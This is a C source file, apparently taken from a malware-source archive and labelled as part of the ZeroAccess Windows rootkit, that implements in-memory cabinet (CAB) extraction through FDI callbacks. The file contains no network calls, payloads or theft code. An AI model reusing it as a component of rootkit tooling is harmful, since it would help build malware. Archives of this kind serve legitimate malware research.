323 lines · 5.2 KB · C
RawDownload
/*  name      ZeroAccess  type      rootkit  cve       —  year      unknown  os        Windows  authors   unknown  source    RamadhanAmizudin/malware  archived  RamadhanAmizudin, krisyotam (2026)  notes     — *//*********************************************************************************  (C) COPYRIGHT AUTHORS, 2016**  TITLE:       CAB.C**  VERSION:     1.00**  DATE:        18 Jan 2016**  ZeroAccess cabinet extraction from memory buffer.** THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A* PARTICULAR PURPOSE.********************************************************************************/ #include "global.h"#include "cab.h" #pragma comment(lib, "cabinet.lib")static CABDATA g_CabParam; /** fdiAlloc** Purpose:** Callback function to allocate memory.**/void* DIAMONDAPI fdiAlloc(	ULONG cb	){	return LocalAlloc(LPTR, cb);} /** fdiFree** Purpose:** Callback function to free previously allocated memory.**/void DIAMONDAPI fdiFree(	void HUGE *pv	){	if (pv) {		LocalFree(pv);	}} /** fdiClose** Purpose:** Callback function to release memory allocated for file memory stream.**/int DIAMONDAPI fdiClose(	CABDATA *hf	){	LocalFree((HLOCAL)hf);	return 0;} /** fdiOpen** Purpose:** Callback function to create a memory stream.**/INT_PTR DIAMONDAPI fdiOpen(	LPSTR pszFile,	int   oflag,	int   pmode	){	CABDATA *Data = NULL;	CABDATA *param;		ULONG_PTR value; 	UNREFERENCED_PARAMETER(oflag);	UNREFERENCED_PARAMETER(pmode); #ifdef _WIN64	value = strtou64_a(pszFile);#else	value = strtoul_a(pszFile);#endif	param = (CABDATA *)value; 	Data = (CABDATA*)LocalAlloc(LPTR, sizeof(CABDATA));	if (Data) {		Data->Buffer = param->Buffer;		Data->Size = param->Size;		Data->Offset = 0;	}	return (INT_PTR)Data;} /** fdiRead** Purpose:** Callback function to read from memory stream.**/UINT DIAMONDAPI fdiRead(	CABDATA  *Data,	void FAR *pv,	UINT     cb	){	UINT bytesToRead = cb;		if (cb >= (UINT)(Data->Size - Data->Offset))		bytesToRead = Data->Size - Data->Offset; 	memcpy(pv, &Data->Buffer[Data->Offset], bytesToRead);	Data->Offset += bytesToRead;	return bytesToRead;} /** fdiWrite** Purpose:** Callback function to write to the memory stream.**/UINT fdiWrite(	CABDATA  *Data,	void FAR *pv,	UINT     cb	){	if ((LONG)(Data->Offset + cb) <= Data->Size) {		memcpy(&Data->Buffer[Data->Offset], pv, cb);		Data->Offset += cb;	}	else {		return 0;	}	return cb;} /** fdiSeek** Purpose:** Callback function to seek in memory stream.**/long fdiSeek(	CABDATA *Data,	long    dist,	int     seektype	){	LONG pos = 0; 	if (seektype) {		if (seektype != SEEK_CUR) {			return -1;		}		pos = dist + Data->Offset;	}	else	{		pos = dist;	}	if (pos > Data->Size)		return -1; 	Data->Offset = pos;	return pos;} /** fdiNotify** Purpose:**  Callback notification function to update the application on the status of the decoder.**/INT_PTR DIAMONDAPI fdiNotify(FDINOTIFICATIONTYPE fdint, PFDINOTIFICATION pfdin){	INT_PTR Result = 0;	CABDATA *Data, *ReturnData = NULL;	LPSTR LookupFileName;	LONG Size; 	switch (fdint) { 	case fdintCOPY_FILE: 		if (pfdin->pv == NULL)			break; 		Data = (CABDATA *)pfdin->pv;		LookupFileName = (LPSTR)&Data->Size;		Size = pfdin->cb;		if (_strcmpi_a(LookupFileName, pfdin->psz1) == 0) {			ReturnData = LocalAlloc(LPTR, sizeof(CABDATA));			if (ReturnData) {				ReturnData->Buffer = LocalAlloc(LPTR, pfdin->cb);				if (ReturnData->Buffer == NULL) {					LocalFree(ReturnData);					ReturnData = NULL;				}				else {					ReturnData->Offset = 0;					ReturnData->Size = pfdin->cb;					Data->Buffer = ReturnData->Buffer;					Data->Size = ReturnData->Size;				}				return (INT_PTR)ReturnData;			}		}		break; 	case fdintCLOSE_FILE_INFO: //release ReturnedInfo		LocalFree((HLOCAL)pfdin->hf);		Result = 1;		break; 	default:		break; 	}	return Result;} /** SfcabExtractMemory** Purpose:** Process cabinet file in memory and extract it contents.** On success returned buffer must be deallocated with LocalFree after usage.**/PVOID SfcabExtractMemory(	PVOID CabPtr,	ULONG CabSize,	PULONG ExtractedBytes	){ 	HFDI hfdi;	ERF erf;	CHAR text[32];	CHAR name[1];	PVOID Buffer = NULL;	CABDATA Data;		if (ExtractedBytes == NULL)		return NULL; 	__try { 		RtlSecureZeroMemory(&erf, sizeof(ERF));		hfdi = FDICreate((PFNALLOC)fdiAlloc, (PFNFREE)fdiFree, (PFNOPEN)fdiOpen, (PFNREAD)fdiRead,			(PFNWRITE)fdiWrite, (PFNCLOSE)fdiClose, (PFNSEEK)fdiSeek, cpu80386, &erf); 		if (hfdi) { 			g_CabParam.Buffer = CabPtr;			g_CabParam.Size = CabSize;			g_CabParam.Offset = 0; 			RtlSecureZeroMemory(&text, sizeof(text));#ifdef _WIN64			u64tostr_a((ULONG_PTR)&g_CabParam, text);#else 			ultostr_a((ULONG_PTR)&g_CabParam, text);#endif 			name[0] = 0; 			Data.Size = '_';			Data.Buffer = NULL;			Data.Offset = 0;			if (FDICopy(hfdi, name, text, 0, fdiNotify, 0, &Data)) {				Buffer = Data.Buffer;				*ExtractedBytes = Data.Size;			}			FDIDestroy(hfdi);		}	}	__except (EXCEPTION_EXECUTE_HANDLER)	{		return NULL;	}	return Buffer;}